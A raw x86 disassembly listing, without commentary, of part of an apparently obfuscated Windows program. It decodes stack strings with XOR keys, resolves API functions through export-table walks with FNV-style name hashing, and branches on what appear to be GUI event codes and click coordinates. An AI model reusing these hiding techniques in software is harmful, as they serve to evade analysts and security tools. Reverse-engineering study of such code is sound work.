lea eax, [esp + 0x3ac]
push eax
call fcn.004b73c0
push edi
push esi
lea ecx, [esp + 0x5dc]
push dword [eax]
call fcn.004b8310
mov ebx, eax
mov byte [esp + 0x46], 0
mov al, 0x72
mov byte [esp + 0x46], 0
mov cl, 0x2e
mov byte [esp + 0x44], al
xor cl, al
mov byte [esp + 0x45], cl
lea ecx, [esp + 0x2e6]
call fcn.004b68a0
mov edi, eax
mov ecx, 0x4db0e0
lea eax, [esp + 0x3bc]
push eax
call fcn.004b73a0
mov ecx, 0x4db0e0
mov esi, dword [eax]
lea eax, [esp + 0x3a8]
push eax
call fcn.004b73c0
push edi
push esi
lea ecx, [esp + 0x5c4]
push dword [eax]
call fcn.004b8310
movaps xmm0, xmmword [0x4d63f0]
mov esi, eax
movups xmmword [esp + 0x2f0], xmm0
mov dword [esp + 0x300], 0x3b357525
xor ecx, ecx
mov word [esp + 0x304], 0x5124
mov byte [esp + 0x306], 0
nop word [eax + eax]
mov al, byte [esp + 0x2f0]
xor byte [esp + ecx + 0x2f1], al
inc ecx
cmp ecx, 0x15
jb 0x4b3b10
lea eax, [esp + 0x2f1]
mov byte [esp + 0x306], 0
push eax
mov edx, 0x4db080
lea ecx, [esp + 0x5a8]
call fcn.004b8190
add esp, 4
lea ecx, [esp + 0x5ec]
mov edx, eax
push esi
call fcn.004b83f0
add esp, 4
lea ecx, [esp + 0x45]
mov edx, eax
push ecx
lea ecx, [esp + 0x590]
call fcn.004b82b0
add esp, 4
lea ecx, [esp + 0x574]
mov edx, eax
push ebx
call fcn.004b83f0
add esp, 4
lea ecx, [esp + 0x299]
mov edx, eax
push ecx
lea ecx, [esp + 0x808]
call fcn.004b82b0
add esp, 4
lea ecx, [esp + 0x574]
call fcn.004b7630
lea ecx, [esp + 0x58c]
call fcn.004b7630
lea ecx, [esp + 0x5ec]
call fcn.004b7630
lea ecx, [esp + 0x5a4]
call fcn.004b7630
lea ecx, [esp + 0x5bc]
call fcn.004b7630
lea ecx, [esp + 0x5d4]
call fcn.004b7630
lea ecx, [esp + 0x2e7]
call fcn.004b68a0
mov edi, eax
lea ecx, [esp + 0x804]
lea eax, [esp + 0x3b4]
push eax
call fcn.004b7480
lea ecx, [esp + 0x804]
mov esi, dword [eax]
lea eax, [esp + 0x3b0]
push eax
call fcn.004b74a0
push edi
push esi
lea ecx, [esp + 0x824]
push dword [eax]
call fcn.004b8420
lea ecx, [esp + 0x81c]
call fcn.004b7390
mov ecx, eax
call fcn.004a9890
mov ebx, dword [0x4db86c]
xor edi, edi
mov dword [esp + 0x2e8], eax
mov ecx, dword [ebx + 0x3c]
mov ebp, dword [ecx + ebx + 0x78]
mov esi, dword [ebp + ebx + 0x20]
add esi, ebx
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0xf00cba41
add ecx, ebx
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b3c8d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b3c70
cmp edx, 0x93002624
je 0x4b3c93
inc edi
add esi, 4
jmp 0x4b3c60
mov eax, dword [ebp + ebx + 0x24]
push 0x1f4
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebx]
mov eax, dword [ebp + ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
call eax
mov dh, 0x6b
mov byte [esp + 0x2b7], 0
mov al, 0x18
mov byte [esp + 0x2b0], dh
mov ah, 0x12
mov byte [esp + 0x2b7], 0
xor al, dh
xor ah, dh
mov cl, 0x21
mov byte [esp + 0x2b1], al
mov ch, 0x1a
mov byte [esp + 0x2b5], ah
xor cl, dh
lea eax, [esp + 0x2b1]
xor ch, dh
mov byte [esp + 0x2b2], cl
mov dl, 9
mov byte [esp + 0x2b6], ch
mov bl, 0x5b
lea ecx, [esp + 0x75c]
xor dl, dh
xor bl, dh
push eax
mov byte [esp + 0x2b7], dl
mov byte [esp + 0x2b8], bl
call fcn.004b76c0
mov dh, 0x4e
mov byte [esp + 0x2af], 0
mov al, 2
mov byte [esp + 0x2a8], dh
mov ah, 0x2c
mov byte [esp + 0x2af], 0
xor al, dh
xor ah, dh
mov cl, 0xf
mov byte [esp + 0x2a9], al
mov ch, 4
mov byte [esp + 0x2ad], ah
xor cl, dh
lea eax, [esp + 0x2a9]
xor ch, dh
mov byte [esp + 0x2aa], cl
mov dl, 0x7e
mov byte [esp + 0x2ae], ch
mov bl, 0x7d
lea ecx, [esp + 0x75c]
xor dl, dh
xor bl, dh
push eax
mov byte [esp + 0x2af], dl
mov byte [esp + 0x2b0], bl
call fcn.004b75a0
mov byte [esp + 0x1f0], 0x2a
mov al, 0x4e
xor al, byte [esp + 0x1f0]
mov cl, 0x6b
mov byte [esp + 0x1f1], al
mov dl, 0x7c
mov al, byte [esp + 0x1f0]
mov bl, 0x46
xor cl, al
mov byte [esp + 0x1f9], 0
xor dl, al
mov byte [esp + 0x1f2], cl
xor bl, al
mov byte [esp + 0x1f3], dl
mov ah, 0x78
mov byte [esp + 0x1f4], bl
mov ch, 0x45
mov dh, 0x72
mov bh, 0x19
xor ah, al
xor ch, al
mov byte [esp + 0x1f5], ah
xor dh, al
mov byte [esp + 0x1f6], ch
xor bh, al
mov byte [esp + 0x1f7], dh
lea eax, [esp + 0x1f1]
mov byte [esp + 0x1f8], bh
push eax
lea ecx, [esp + 0x760]
mov byte [esp + 0x1fd], 0
call fcn.004b75a0
lea ecx, [esp + 0x75c]
call fcn.004b7630
mov ebx, dword [0x4db870]
xor edi, edi
mov eax, dword [ebx + 0x3c]
mov ebp, dword [eax + ebx + 0x78]
mov esi, dword [ebp + ebx + 0x20]
add esi, ebx
mov ecx, dword [esi]
mov edx, 0x3722e2a8
add ecx, ebx
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b3e6d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b3e50
cmp edx, 0x13942c2a
je 0x4b3e73
inc edi
add esi, 4
jmp 0x4b3e40
mov eax, dword [ebp + ebx + 0x24]
push dword [esp + 0x2e8]
push 0x4a93d0
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebx]
mov eax, dword [ebp + ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
call eax
xor ecx, ecx
call fcn.004c87c0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp eax, 0x3ea
jne 0x4b427e
lea eax, [ecx - 0x13b]
cmp eax, 0xe6
ja 0x4b6785
lea eax, [edx - 0x184]
cmp eax, 0x28
ja 0x4b6785
mov byte [esp + 0x60], 0x77
mov al, 0x22
xor al, byte [esp + 0x60]
xor dl, dl
mov byte [esp + 0x61], al
mov cl, 0x2e
mov al, byte [esp + 0x60]
mov ah, 0x36
xor cl, al
mov byte [esp + 0x6a], dl
mov ch, 0xd
mov byte [esp + 0x12], 0x47
xor ch, al
mov byte [esp + 0x62], cl
mov dh, 0x23
mov byte [esp + 0x66], ch
xor dl, al
mov byte [esp + 0x6a], 0
xor ah, al
mov byte [esp + 0x63], dl
xor dh, al
mov byte [esp + 0x65], ah
mov bl, 0x3c
mov byte [esp + 0x67], dh
xor bl, al
lea ecx, [esp + 0x774]
mov bh, 0x12
mov byte [esp + 0x64], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x60]
mov byte [esp + 0x68], bh
mov byte [esp + 0x69], al
call fcn.004b8a80
lea ecx, [esp + 0x61]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3f50
sub ecx, edx
lea eax, [esp + 0x61]
push ecx
push eax
lea ecx, [esp + 0x77c]
call fcn.004b8710
mov byte [esp + 0x150], 0x43
mov al, 8
xor al, byte [esp + 0x150]
mov cl, 0x14
xor cl, byte [esp + 0x150]
mov ch, 0x10
mov byte [esp + 0x151], al
mov dl, 9
mov byte [esp + 0x152], cl
mov ah, 0x33
mov cl, byte [esp + 0x150]
mov dh, 0x77
mov byte [esp + 0x12], 0x39
xor ch, cl
mov al, byte [esp + 0x12]
mov bl, 0x22
xor al, cl
mov byte [esp + 0x13], 0x70
mov byte [esp + 0x159], al
mov bh, 0x7b
mov al, byte [esp + 0x13]
xor dl, cl
xor bl, cl
mov byte [esp + 0x156], ch
xor ah, cl
mov byte [esp + 0x15b], 0
xor dh, cl
mov byte [esp + 0x153], dl
xor bh, cl
mov byte [esp + 0x154], bl
xor al, cl
mov byte [esp + 0x155], ah
lea ecx, [esp + 0x72c]
mov byte [esp + 0x157], dh
mov byte [esp + 0x158], bh
mov byte [esp + 0x15a], al
mov byte [esp + 0x15b], 0
call fcn.004b8a80
lea ecx, [esp + 0x151]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4026
sub ecx, edx
lea eax, [esp + 0x151]
push ecx
push eax
lea ecx, [esp + 0x734]
call fcn.004b8710
mov dh, 0x12
mov byte [esp + 0x22b], 0
mov cl, 0x5f
mov byte [esp + 0x224], dh
mov dl, 0x56
mov byte [esp + 0x22b], 0
xor cl, dh
mov al, 0x27
mov bl, 0x7f
mov byte [esp + 0x226], cl
mov ah, 0x21
mov ch, 0x4b
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0x227], dl
xor ah, dh
mov byte [esp + 0x225], al
xor ch, dh
mov byte [esp + 0x228], bl
mov byte [esp + 0x22a], ch
lea ecx, [esp + 0x225]
mov byte [esp + 0x229], ah
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b40b0
sub ecx, edx
lea eax, [esp + 0x225]
push ecx
push eax
lea ecx, [esp + 0x734]
call fcn.004b7e50
mov byte [esp + 0x1cc], 0x52
mov al, 0x16
xor al, byte [esp + 0x1cc]
mov cl, 0x33
xor cl, byte [esp + 0x1cc]
mov ah, 0x21
mov byte [esp + 0x1cd], al
mov ch, 0x1e
mov byte [esp + 0x1ce], cl
mov dl, 0x28
mov cl, byte [esp + 0x1cc]
mov dh, 0x1b
mov byte [esp + 0x12], 0x3e
xor ch, cl
mov al, byte [esp + 0x12]
mov bl, 0x39
xor al, cl
mov byte [esp + 0x13], ah
mov byte [esp + 0x1d5], al
xor ah, cl
mov al, byte [esp + 0x13]
mov bh, 0x64
xor al, cl
mov byte [esp + 0x1d1], ah
mov byte [esp + 0x1d6], al
xor dl, cl
xor bl, cl
mov byte [esp + 0x1d2], ch
xor dh, cl
mov byte [esp + 0x1d7], 0
xor bh, cl
mov byte [esp + 0x1cf], dl
lea eax, [esp + 0x1cd]
mov byte [esp + 0x1d0], bl
push eax
lea ecx, [esp + 0x730]
mov byte [esp + 0x1d7], dh
mov byte [esp + 0x1d8], bh
mov byte [esp + 0x1db], 0
call fcn.004b8aa0
test al, al
je 0x4b4261
push 0x38
lea ecx, [esp + 0x30]
mov byte [esp + 0x30], 0x34
call fcn.004b6890
push 0x32
lea ecx, [esp + 0x30]
mov byte [esp + 0x31], al
call fcn.004b6890
push 0x41
lea ecx, [esp + 0x30]
mov byte [esp + 0x32], al
call fcn.004b6890
push 0x65
lea ecx, [esp + 0x30]
mov byte [esp + 0x33], al
call fcn.004b6890
push 0x34
lea ecx, [esp + 0x30]
mov byte [esp + 0x34], al
call fcn.004b6890
push 0x62
lea ecx, [esp + 0x30]
mov byte [esp + 0x35], al
call fcn.004b6890
push 0x77
lea ecx, [esp + 0x30]
mov byte [esp + 0x36], al
call fcn.004b6890
push 0x4d
lea ecx, [esp + 0x30]
mov byte [esp + 0x37], al
call fcn.004b6890
mov byte [esp + 0x34], al
xor esi, esi
mov byte [esp + 0x35], 0
push esi
lea ecx, [esp + 0x31]
call fcn.004b68b0
lea ecx, [esp + 0x2c]
movzx eax, byte [eax]
push eax
call fcn.004b6890
push esi
lea ecx, [esp + 0x31]
mov bl, al
call fcn.004b68b0
inc esi
mov byte [eax], bl
cmp esi, 8
jb 0x4b4212
push 8
lea ecx, [esp + 0x31]
call fcn.004b68b0
lea ecx, [esp + 0x2d]
mov byte [eax], 0
call fcn.004b68a0
push eax
lea ecx, [esp + 0x778]
call fcn.004b75a0
lea ecx, [esp + 0x72c]
call fcn.004b7630
lea ecx, [esp + 0x774]
call fcn.004b7630
jmp 0x4b6785
cmp eax, 0x3eb
jne 0x4b6785
lea eax, [ecx - 0x254]
cmp eax, 0xe6
ja 0x4b6785
lea eax, [edx - 0x184]
cmp eax, 0x28
ja 0x4b6785
mov byte [esp + 0x168], 0x3d
mov al, 0x55
xor al, byte [esp + 0x168]
mov cl, 0x4a
xor cl, byte [esp + 0x168]
mov ch, 0x72
mov byte [esp + 0x169], al
mov dl, 0x5a
mov byte [esp + 0x16a], cl
mov ah, 0x48
mov cl, byte [esp + 0x168]
mov dh, 0x50
mov byte [esp + 0x12], 0x44
xor ch, cl
mov al, byte [esp + 0x12]
mov bl, 0x68
xor al, cl
mov byte [esp + 0x13], 0x51
mov byte [esp + 0x171], al
mov bh, 0x76
mov al, byte [esp + 0x13]
xor dl, cl
xor bl, cl
mov byte [esp + 0x16e], ch
xor ah, cl
mov byte [esp + 0x173], 0
xor dh, cl
mov byte [esp + 0x16b], dl
xor bh, cl
mov byte [esp + 0x16c], bl
xor al, cl
mov byte [esp + 0x16d], ah
lea ecx, [esp + 0x63c]
mov byte [esp + 0x16f], dh
mov byte [esp + 0x170], bh
mov byte [esp + 0x172], al
mov byte [esp + 0x173], 0
call fcn.004b8a80
lea ecx, [esp + 0x169]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4364
sub ecx, edx
lea eax, [esp + 0x169]
push ecx
push eax
lea ecx, [esp + 0x644]
call fcn.004b8710
mov byte [esp + 0xcc], 0x7b
mov al, 0x30
xor al, byte [esp + 0xcc]
mov cl, 0x2a
mov ch, 0x34
mov byte [esp + 0xcd], al
mov al, byte [esp + 0xcc]
mov dl, 0x2b
xor cl, al
mov byte [esp + 0xd5], 0
xor ch, al
mov byte [esp + 0xce], cl
mov dh, 0x4e
mov byte [esp + 0xd2], ch
mov bl, 0x35
mov byte [esp + 0xd5], 0
mov ah, 0xe
lea ecx, [esp + 0xcd]
xor dl, al
xor dh, al
mov bh, 0x2d
mov byte [esp + 0xcf], dl
xor bl, al
mov byte [esp + 0xd3], dh
xor ah, al
mov byte [esp + 0xd0], bl
xor bh, al
mov byte [esp + 0xd1], ah
mov byte [esp + 0xd4], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4408
sub ecx, edx
lea eax, [esp + 0xcd]
push ecx
push eax
lea ecx, [esp + 0x644]
call fcn.004b7e50
mov byte [esp + 0x1a8], 0x25
mov al, 0x4f
xor al, byte [esp + 0x1a8]
mov cl, 0x68
mov byte [esp + 0x1a9], al
mov dl, 0x11
mov al, byte [esp + 0x1a8]
mov ah, 0x1c
xor cl, al
mov byte [esp + 0x12], 0x40
xor dl, al
mov byte [esp + 0x1aa], cl
xor ah, al
mov byte [esp + 0x1b2], 0
mov ch, 0x62
mov byte [esp + 0x1ad], ah
xor ch, al
mov byte [esp + 0x1ab], dl
mov dh, 0x4c
mov byte [esp + 0x1ae], ch
xor dh, al
mov byte [esp + 0x1b2], 0
mov bl, 0x5c
mov byte [esp + 0x1af], dh
xor bl, al
lea ecx, [esp + 0x63c]
mov bh, 0x6a
mov byte [esp + 0x1ac], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x1a8]
mov byte [esp + 0x1b1], al
lea eax, [esp + 0x1a9]
push eax
mov byte [esp + 0x1b4], bh
call fcn.004b8aa0
test al, al
je 0x4b45bf
push 0x37
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3c], 0x7d
call fcn.004b6890
push 0x54
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3d], al
call fcn.004b6890
push 0x4c
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3e], al
call fcn.004b6890
push 0x76
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3f], al
call fcn.004b6890
push 0x33
lea ecx, [esp + 0x3c]
mov byte [esp + 0x40], al
call fcn.004b6890
push 0x58
lea ecx, [esp + 0x3c]
mov byte [esp + 0x41], al
call fcn.004b6890
push 0x43
lea ecx, [esp + 0x3c]
mov byte [esp + 0x42], al
call fcn.004b6890
push 0x38
lea ecx, [esp + 0x3c]
mov byte [esp + 0x43], al
call fcn.004b6890
push 0x44
lea ecx, [esp + 0x3c]
mov byte [esp + 0x44], al
call fcn.004b6890
mov byte [esp + 0x41], al
xor esi, esi
mov byte [esp + 0x42], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x3d]
call fcn.004b68b0
lea ecx, [esp + 0x38]
movzx eax, byte [eax]
push eax
call fcn.004b6890
push esi
lea ecx, [esp + 0x3d]
mov bl, al
call fcn.004b68b0
inc esi
mov byte [eax], bl
cmp esi, 9
jb 0x4b4570
push 9
lea ecx, [esp + 0x3d]
call fcn.004b68b0
lea ecx, [esp + 0x39]
mov byte [eax], 0
call fcn.004b68a0
push eax
lea ecx, [esp + 0x640]
call fcn.004b75d0
lea ecx, [esp + 0x63c]
call fcn.004b7630
jmp 0x4b6785
mov dword [0x4db7d0], 0
cmp eax, 1
jne 0x4b4946
lea eax, [ecx - 0x168]
cmp eax, 0x16
ja 0x4b6785
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b6785
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x518da42b
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b4640
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b4623
cmp edx, 0x22d93c8b
je 0x4b4646
inc ebx
add esi, 4
jmp 0x4b4613
mov eax, dword [ebp + edi + 0x24]
push dword [0x4db874]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov byte [esp + 0x54], 0x3e
mov al, 0x6c
xor al, byte [esp + 0x54]
mov cl, 0x4d
mov byte [esp + 0x55], al
mov dl, 0x4f
mov al, byte [esp + 0x54]
mov ah, 0xf
xor cl, al
mov byte [esp + 0x12], 0x64
mov ch, 0x5d
mov byte [esp + 0x56], cl
xor ch, al
mov byte [esp + 0x5e], 0
mov dh, 0x79
mov byte [esp + 0x5a], ch
xor dl, al
mov byte [esp + 0x5e], 0
xor ah, al
mov byte [esp + 0x57], dl
xor dh, al
mov byte [esp + 0x59], ah
mov bl, 0x6d
mov byte [esp + 0x5b], dh
xor bl, al
lea ecx, [esp + 0x654]
mov bh, 0x46
mov byte [esp + 0x58], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x54]
mov byte [esp + 0x5c], bh
mov byte [esp + 0x5d], al
call fcn.004b8a80
lea ecx, [esp + 0x55]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b46e0
sub ecx, edx
lea eax, [esp + 0x55]
push ecx
push eax
lea ecx, [esp + 0x65c]
call fcn.004b8710
mov byte [esp + 0xd8], 0x6a
mov al, 7
xor al, byte [esp + 0xd8]
mov cl, 0x25
mov ch, 0x5b
mov byte [esp + 0xd9], al
mov al, byte [esp + 0xd8]
mov dl, 0x1e
xor cl, al
mov byte [esp + 0xe1], 0
xor ch, al
mov byte [esp + 0xda], cl
mov dh, 0x5e
mov byte [esp + 0xde], ch
mov bl, 0x27
mov byte [esp + 0xe1], 0
mov ah, 0xb
lea ecx, [esp + 0xd9]
xor dl, al
xor dh, al
mov bh, 0x32
mov byte [esp + 0xdb], dl
xor bl, al
mov byte [esp + 0xdf], dh
xor ah, al
mov byte [esp + 0xdc], bl
xor bh, al
mov byte [esp + 0xdd], ah
mov byte [esp + 0xe0], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4781
sub ecx, edx
lea eax, [esp + 0xd9]
push ecx
push eax
lea ecx, [esp + 0x65c]
call fcn.004b7e50
mov bh, 0x3d
mov byte [esp + 0x2d4], 0
mov al, 0xe
mov byte [esp + 0x2cc], bh
mov ah, 0x53
mov byte [esp + 0x2d4], 0
xor al, bh
xor ah, bh
mov cl, 0x70
mov byte [esp + 0x2cd], al
mov ch, 0xd
mov byte [esp + 0x2d1], ah
xor cl, bh
lea eax, [esp + 0x2cd]
xor ch, bh
mov byte [esp + 0x2ce], cl
mov dl, 5
mov byte [esp + 0x2d2], ch
mov dh, 0x5a
lea ecx, [esp + 0x654]
mov bl, 0xf
xor dl, bh
xor dh, bh
mov byte [esp + 0x2cf], dl
xor bl, bh
mov byte [esp + 0x2d3], dh
push eax
mov byte [esp + 0x2d4], bl
call fcn.004b8aa0
test al, al
je 0x4b48c5
mov byte [esp + 0xe4], 0x4e
mov al, 0x7c
xor al, byte [esp + 0xe4]
mov cl, 0x3f
mov bl, 0x76
mov byte [esp + 0xe5], al
mov al, byte [esp + 0xe4]
mov ch, 5
mov ah, 1
mov byte [esp + 0xed], 0
mov dh, bl
mov byte [esp + 0xed], 0
xor cl, al
xor ch, al
mov dl, 0x28
mov byte [esp + 0xe6], cl
mov bh, ah
mov byte [esp + 0xea], ch
xor dl, al
lea ecx, [esp + 0xe5]
xor dh, al
mov byte [esp + 0xe7], dl
xor bl, al
mov byte [esp + 0xeb], dh
xor ah, al
mov byte [esp + 0xe8], bl
xor bh, al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xec], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b48a7
sub ecx, edx
lea eax, [esp + 0xe5]
push ecx
push eax
lea ecx, [esp + 0x65c]
call fcn.004b7e50
lea ecx, [esp + 0x654]
call fcn.004b7630
xor ecx, ecx
call fcn.004c87c0
mov edi, dword [0x4db87c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x72534910
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b491d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b4900
cmp edx, 0xc21dc77d
je 0x4b4923
inc ebx
add esi, 4
jmp 0x4b48f0
mov eax, dword [ebp + edi + 0x24]
push 1
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
add esp, 4
jmp 0x4b6785
cmp eax, 2
jne 0x4b4d55
lea eax, [ecx - 0x14a]
cmp eax, 0x12
ja 0x4b6785
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b6785
mov edi, dword [0x4db870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x4f197fb7
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b49ad
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b4990
cmp edx, 0xbe84a866
je 0x4b49b3
inc ebx
add esi, 4
jmp 0x4b4980
mov eax, dword [ebp + edi + 0x24]
push 6
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov dh, 0x5b
mov byte [esp + 0x203], 0
mov ah, 0x3f
mov byte [esp + 0x1fc], dh
mov ch, ah
mov byte [esp + 0x203], 0
mov cl, 0x37
xor ch, dh
xor cl, dh
mov byte [esp + 0x202], ch
mov al, 0x6f
mov byte [esp + 0x1fe], cl
mov dl, 0x22
lea ecx, [esp + 0x78c]
mov bl, 0x19
xor al, dh
xor dl, dh
mov byte [esp + 0x1fd], al
xor bl, dh
mov byte [esp + 0x1ff], dl
xor ah, dh
mov byte [esp + 0x200], bl
mov byte [esp + 0x201], ah
call fcn.004b8a80
lea ecx, [esp + 0x1fd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4a45
sub ecx, edx
lea eax, [esp + 0x1fd]
push ecx
push eax
lea ecx, [esp + 0x794]
call fcn.004b8710
mov byte [esp + 0xc0], 0x55
mov al, 0x64
xor al, byte [esp + 0xc0]
mov cl, 0x25
mov byte [esp + 0xc1], al
mov dl, 0x18
mov al, byte [esp + 0xc0]
mov ah, 0x16
xor cl, al
mov byte [esp + 0x12], 0x2c
mov ch, 0x39
mov byte [esp + 0xc2], cl
xor ch, al
mov byte [esp + 0xca], 0
mov dh, 0x33
mov byte [esp + 0xc6], ch
xor dl, al
mov byte [esp + 0xca], 0
xor ah, al
mov byte [esp + 0xc3], dl
xor dh, al
mov byte [esp + 0xc5], ah
mov bl, 0x14
mov byte [esp + 0xc7], dh
xor bl, al
lea ecx, [esp + 0x6cc]
mov bh, 0x6c
mov byte [esp + 0xc4], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0xc0]
mov byte [esp + 0xc8], bh
mov byte [esp + 0xc9], al
call fcn.004b8a80
lea ecx, [esp + 0xc1]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4b10
sub ecx, edx
lea eax, [esp + 0xc1]
push ecx
push eax
lea ecx, [esp + 0x6d4]
call fcn.004b8710
mov byte [esp + 0xb4], 0x62
mov al, 0x12
xor al, byte [esp + 0xb4]
xor ch, ch
mov byte [esp + 0xb5], al
mov cl, 0x27
mov al, byte [esp + 0xb4]
mov dl, 0x2c
mov dh, 0x32
mov byte [esp + 0x12], 0x34
xor cl, al
mov byte [esp + 0xbe], 0
xor dl, al
mov byte [esp + 0xb6], cl
xor ch, al
mov byte [esp + 0xb7], dl
xor dh, al
mov byte [esp + 0xba], ch
mov bl, 0x17
mov byte [esp + 0xbb], dh
mov ah, 0x38
lea ecx, [esp + 0xb5]
mov bh, 0x23
lea edx, [ecx + 1]
xor bl, al
xor ah, al
xor bh, al
mov byte [esp + 0xb8], bl
mov al, byte [esp + 0x12]
xor al, byte [esp + 0xb4]
mov byte [esp + 0xb9], ah
mov byte [esp + 0xbc], bh
mov byte [esp + 0xbd], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4bc3
sub ecx, edx
lea eax, [esp + 0xb5]
push ecx
push eax
lea ecx, [esp + 0x6d4]
call fcn.004b7e50
mov byte [esp + 0x1e4], 0x45
mov al, 0xc
xor al, byte [esp + 0x1e4]
mov ah, 0x2c
mov byte [esp + 0x1e5], al
mov cl, 0x14
mov al, byte [esp + 0x1e4]
mov dl, 0x21
xor ah, al
mov byte [esp + 0x1ed], 0
mov ch, 0x1f
mov byte [esp + 0x1e9], ah
mov dh, 0x2f
mov byte [esp + 0x1ed], 0
xor cl, al
xor ch, al
mov bl, 0x2d
mov byte [esp + 0x1e6], cl
mov bh, 9
mov byte [esp + 0x1ea], ch
xor dl, al
lea ecx, [esp + 0x6cc]
xor bl, al
mov byte [esp + 0x1e7], dl
xor dh, al
mov byte [esp + 0x1e8], bl
xor bh, al
mov byte [esp + 0x1eb], dh
lea eax, [esp + 0x1e5]
mov byte [esp + 0x1ec], bh
push eax
call fcn.004b8aa0
test al, al
je 0x4b4d2e
mov byte [esp + 0xa8], 0x71
mov al, 9
xor al, byte [esp + 0xa8]
xor dh, dh
mov byte [esp + 0xa9], al
mov cl, 0x1f
mov al, byte [esp + 0xa8]
mov dl, 0x29
mov ch, 0x24
mov byte [esp + 0x12], 3
xor cl, al
mov byte [esp + 0xb2], 0
xor dl, al
mov byte [esp + 0xaa], cl
xor ch, al
mov byte [esp + 0xab], dl
xor dh, al
mov byte [esp + 0xae], ch
mov bl, 0x2b
mov byte [esp + 0xaf], dh
mov ah, 1
lea ecx, [esp + 0xa9]
mov bh, 0x3d
lea edx, [ecx + 1]
xor bl, al
xor ah, al
xor bh, al
mov byte [esp + 0xac], bl
mov al, byte [esp + 0x12]
xor al, byte [esp + 0xa8]
mov byte [esp + 0xad], ah
mov byte [esp + 0xb0], bh
mov byte [esp + 0xb1], al
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4d10
sub ecx, edx
lea eax, [esp + 0xa9]
push ecx
push eax
lea ecx, [esp + 0x794]
call fcn.004b7e50
lea ecx, [esp + 0x6cc]
call fcn.004b7630
lea ecx, [esp + 0x78c]
call fcn.004b7630
mov dword [0x4db7c0], 0
jmp 0x4b6785
cmp eax, 3
jne 0x4b4dbc
lea eax, [ecx - 0x28]
cmp eax, 0x140
ja 0x4b6785
lea eax, [edx - 0x1c1]
cmp eax, 0x34
ja 0x4b6785
cmp byte [0x4db7c4], 0
jne 0x4b6785
push 0x4a9a70
lea ecx, [esp + 0x608]
call fcn.004b8d30
lea ecx, [esp + 0x604]
call fcn.004a8760
cmp dword [esp + 0x608], 0
mov byte [0x4db7c4], 1
je 0x4b6785
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
